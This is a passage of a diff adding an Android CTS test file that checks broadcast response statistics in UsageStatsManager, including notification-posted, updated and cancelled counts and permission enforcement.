+++ b/tests/tests/app.usage/src/android/app/usage/cts/BroadcastResponseStatsTest.java
@@ -0,0 +1,1987 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts;
+
+import static android.Manifest.permission.ACCESS_BROADCAST_RESPONSE_STATS;
+import static android.app.usage.cts.UsageStatsTest.TEST_APP_CLASS;
+import static android.app.usage.cts.UsageStatsTest.TEST_APP_CLASS_BROADCAST_RECEIVER;
+import static android.app.usage.cts.UsageStatsTest.TEST_APP_CLASS_SERVICE;
+import static android.app.usage.cts.UsageStatsTest.TEST_APP_PKG;
+import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
+import static android.provider.DeviceConfig.NAMESPACE_APP_STANDBY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.AppOpsManager;
+import android.app.BroadcastOptions;
+import android.app.Notification;
+import android.app.PendingIntent;
+import android.app.UiAutomation;
+import android.app.usage.BroadcastResponseStats;
+import android.app.usage.UsageStatsManager;
+import android.app.usage.cts.UsageStatsTest.TestServiceConnection;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.media.session.MediaSession;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+import android.util.ArrayMap;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(UsageStatsTestRunner.class)
+public class BroadcastResponseStatsTest {
+
+ private static final String TEST_APP3_PKG = "android.app.usage.cts.test3";
+ private static final String TEST_APP4_PKG = "android.app.usage.cts.test4";
+
+ private static final long TEST_RESPONSE_STATS_ID_1 = 11;
+ private static final long TEST_RESPONSE_STATS_ID_2 = 22;
+
+ private static final String TEST_NOTIFICATION_CHANNEL_ID = "test-channel-id";
+ private static final String TEST_NOTIFICATION_CHANNEL_NAME = "test-channel-name";
+ private static final String TEST_NOTIFICATION_CHANNEL_DESC = "test-channel-description";
+
+ private static final int TEST_NOTIFICATION_ID_1 = 10;
+ private static final int TEST_NOTIFICATION_ID_2 = 20;
+ private static final String TEST_NOTIFICATION_TITLE_FMT = "Test title; id=%s";
+ private static final String TEST_NOTIFICATION_TEXT_1 = "Test content 1";
+ private static final String TEST_NOTIFICATION_TEXT_2 = "Test content 2";
+
+ private static final int DEFAULT_TIMEOUT_MS = 10_000;
+ // For tests that are verifying a certain event doesn't occur, wait for some time
+ // to ensure the event doesn't really occur. Otherwise, we cannot be sure if the event didn't
+ // occur or the verification was done too early before the event occurred.
+ private static final int WAIT_TIME_FOR_NEGATIVE_TESTS_MS = 500;
+
+ // TODO: Define these constants in UsageStatsManager as @TestApis to avoid hardcoding here.
+ private static final String KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS =
+ "broadcast_response_window_timeout_ms";
+ private static final String KEY_BROADCAST_RESPONSE_FG_THRESHOLD_STATE =
+ "broadcast_response_fg_threshold_state";
+ private static final String KEY_BROADCAST_SESSIONS_DURATION_MS =
+ "broadcast_sessions_duration_ms";
+ private static final String KEY_BROADCAST_SESSIONS_WITH_RESPONSE_DURATION_MS =
+ "broadcast_sessions_with_response_duration_ms";
+ private static final String KEY_RECORD_ALL_BROADCAST_SESSIONS_WITHIN_RESPONSE_WINDOW =
+ "record_all_broadcast_sessions_within_response_window";
+
+ private static Context sContext;
+ private static String sTargetPackage;
+ private UsageStatsManager mUsageStatsManager;
+ private UiDevice mUiDevice;
+ private UiAutomation mUiAutomation;
+
+ private static int sInitialAppOpMode;
+
+ @BeforeClass
+ public static void setUpClass() throws Exception {
+ sContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ sTargetPackage = sContext.getPackageName();
+ sInitialAppOpMode = AppOpsUtils.getOpMode(sTargetPackage,
+ AppOpsManager.OPSTR_GET_USAGE_STATS);
+ AppOpsUtils.setOpMode(sTargetPackage, AppOpsManager.OPSTR_GET_USAGE_STATS,
+ AppOpsManager.MODE_IGNORED);
+ }
+
+ @AfterClass
+ public static void tearDownClass() throws Exception {
+ AppOpsUtils.setOpMode(sTargetPackage, AppOpsManager.OPSTR_GET_USAGE_STATS,
+ sInitialAppOpMode);
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mUsageStatsManager = sContext.getSystemService(UsageStatsManager.class);
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mUiAutomation = InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation();
+ mUiAutomation.grantRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mUiDevice.pressHome();
+
+ // Clear broadcast response stats
+ mUsageStatsManager.clearBroadcastEvents();
+ mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */, 0 /* id */);
+ mUiAutomation.revokeRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastOptions_noPermission() throws Exception {
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ mUiAutomation.revokeRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+ try {
+ assertThrows(SecurityException.class, () -> {
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ });
+ } finally {
+ mUiAutomation.grantRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testQueryBroadcastResponseStats_noPermission() throws Exception {
+ mUsageStatsManager.queryBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+
+ mUiAutomation.revokeRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+ try {
+ assertThrows(SecurityException.class, () -> {
+ mUsageStatsManager.queryBroadcastResponseStats(TEST_APP_PKG,
+ TEST_RESPONSE_STATS_ID_1);
+ });
+ } finally {
+ mUiAutomation.grantRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testClearBroadcastResponseStats_noPermission() throws Exception {
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+
+ mUiAutomation.revokeRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+ try {
+ assertThrows(SecurityException.class, () -> {
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG,
+ TEST_RESPONSE_STATS_ID_1);
+ });
+ } finally {
+ mUiAutomation.grantRuntimePermission(sTargetPackage, ACCESS_BROADCAST_RESPONSE_STATS);
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_broadcastDispatchedCount() throws Exception {
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a normal broadcast.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ sendBroadcastAndWaitForReceipt(intent, null);
+
+ // Trigger a notification from test app and verify none of the counts get
+ // incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Send a broadcast with a request to record response.
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Trigger a notification from test app and verify notification-posted count gets
+ // incremented.
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 1 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_notificationPostedCount() throws Exception {
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a normal broadcast and verify none of the counts get incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ sendBroadcastAndWaitForReceipt(intent, null);
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Trigger a notification from test app and verify notification-posted count gets
+ // incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_notificationUpdatedCount() throws Exception {
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Post a notification (before sending any broadcast) and verify none of the counts
+ // get incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Update a previously posted notification (change content text) and verify
+ // notification-updated count gets incremented.
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 1 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_notificationCancelledCount() throws Exception {
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Post a notification (before sending any broadcast) and verify none of the counts
+ // get incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ sendBroadcastAndWaitForReceipt(intent, null);
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Cancel a previously posted notification (change content text) and verify
+ // notification-cancelled count gets incremented.
+ testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 1 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_multipleEvents() throws Exception {
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a normal broadcast and verify none of the counts get incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ sendBroadcastAndWaitForReceipt(intent, null);
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Trigger a notification from test app and verify notification-posted count gets
+ // incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Send another broadcast and trigger another notification.
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_2,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_2,
+ TEST_NOTIFICATION_TEXT_2));
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 2 /* broadcastCount */,
+ 2 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Send another broadcast with a different ID and update a previously posted
+ // notification.
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_2));
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 2 /* broadcastCount */,
+ 2 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 1 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 1 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ // Update/cancel a previously posted notifications and verify there is
+ // no change in counts.
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+ testReceiver.cancelNotification(TEST_NOTIFICATION_ID_2);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 2 /* broadcastCount */,
+ 2 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 1 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 1 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 1 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 1 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ mUsageStatsManager.clearBroadcastResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ testReceiver.cancelAll();
+ } finally {
+ connection.unbind();
+ }
+ }
+
+ @AppModeFull(reason = "No broadcast message response stats in instant apps")
+ @Test
+ public void testBroadcastResponseStats_clearCounts() throws Exception {
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
+ 0 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+
+ final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+ try {
+ ITestReceiver testReceiver = connection.getITestReceiver();
+ testReceiver.cancelAll();
+
+ // Send a broadcast with a request to record response and verify broadcast-sent
+ // count gets incremented.
+ final Intent intent = new Intent().setComponent(new ComponentName(
+ TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ final BroadcastOptions options = BroadcastOptions.makeBasic();
+ options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+ sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+ // Trigger a notification from test app and verify notification-posted count gets
+ // incremented.
+ testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+ TEST_NOTIFICATION_CHANNEL_NAME,
+ TEST_NOTIFICATION_CHANNEL_DESC);
+ testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+ buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+ TEST_NOTIFICATION_TEXT_1));
+
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+ 1 /* broadcastCount */,
+ 1 /* notificationPostedCount */,
+ 0 /* notificationUpdatedCount */,
+ 0 /* notificationCancelledCount */);
+ assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+ 0 /* broadcastCount */,
